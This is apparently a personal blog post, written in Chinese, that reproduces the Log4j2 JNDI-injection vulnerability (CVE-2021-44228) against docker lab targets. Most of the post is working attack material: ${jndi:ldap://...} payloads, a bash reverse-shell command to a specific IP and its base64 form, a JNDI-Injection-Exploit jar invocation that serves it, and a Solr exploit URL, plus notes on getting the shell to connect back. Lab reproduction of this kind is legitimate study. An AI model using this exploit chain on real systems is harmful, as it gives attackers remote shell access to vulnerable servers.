log4j2漏洞复现
jerem1ah Lv4

1.log4j2漏洞验证:

1.搭建环境

1
2
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -d -p 7777:8080 vulfocus/log4j2-rce-2021-12-09

image-20221111171330388

2.漏洞验证

1
http://dnslog.cn/

image-20221111171456022

1
2
/hello?payload=${jndi:ldap://ocwtk0.dnslog.cn}
/hello?payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%6f%63%77%74%6b%30%2e%64%6e%73%6c%6f%67%2e%63%6e%7d

image-20221111171755366

image-20221111171929578

2.漏洞利用

0环境:

1
2
/vulhub/log4j/CVE-2021-44228
docker-compose up -d

image-20221116213300815

1.反弹shell命令

1
bash -i >& /dev/tcp/39.105.51.11/7778 0>&1  #此处填写攻击机的ip和port
1
YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx  #由以上命令base64encode得到
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}" -A 39.105.51.11  #此处的ip可以为第三台机器的ip,[ip3]

注意:以上第三个命令需要在攻击机上执行

image-20221116212330810

2.构造payload

1
http://192.168.245.128:8983/solr/admin/cores?action=${jndi:ldap://39.105.51.11:1389/2xtaae}

image-20221116212537500

3.新手操作中遇到的错误总结!!!:

1.靶机的环境问题
1
docker在vulfocus上拉取的vulfocus/log4j2-rce-2021-12-09靶机环境缺乏反弹shell需要的命令,导致靶机上不能成功反弹shell
1
2
通过vulhub上的vulhub/log4j/CVE-2021-44228  docker-compose -d启动靶机
访问路径http://192.168.245.128:8983/solr/admin/cores?action=123

前者可以漏洞验证,后者才能反弹shell

2.三台机器的关系
1
2
3
4
5
服务器IP1,攻击机ip2,server-log机器ip3,用户ip4

攻击机ip2存在于command中,只影响最后的反弹shell的反弹地址和端口;
server-log机器ip3,需要具备java环境,并目录中有JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件,而且防火墙和安全组需要开启三个端口8180、1099、1389;最后生成的地址也是此机器的ip地址;
用户ip4需要拿着server-log生成的地址去访问ip1,即action=${jndi:ldap://39.105.51.11:1389/2xtaae}

攻击机和server-log机器可以为一台机器

3.反弹shell命令
1
2
3
4
5
6
首先需要在本地环境直接验证是否能反弹成功:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}

注意不要再加''不然本地的时候可以成功,远程反弹shell时会出错
错误示例:
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}'

4.payload的问题

1
注意payload通过bp抓包的话需要url编码处理

3.结语

log4j2的复现过程中遇到了一系列的问题和麻烦,而这还是docker直接运行的环境,已经省去了自己配环境的很多麻烦。

但是在复现的过程中,依旧麻烦重重,环境问题,服务器问题,博客文章问题,粗心大意问题都存在着,而恰恰是找问题的过程中锻炼了我的能力,对漏洞利用理解的更加深刻。

 Comments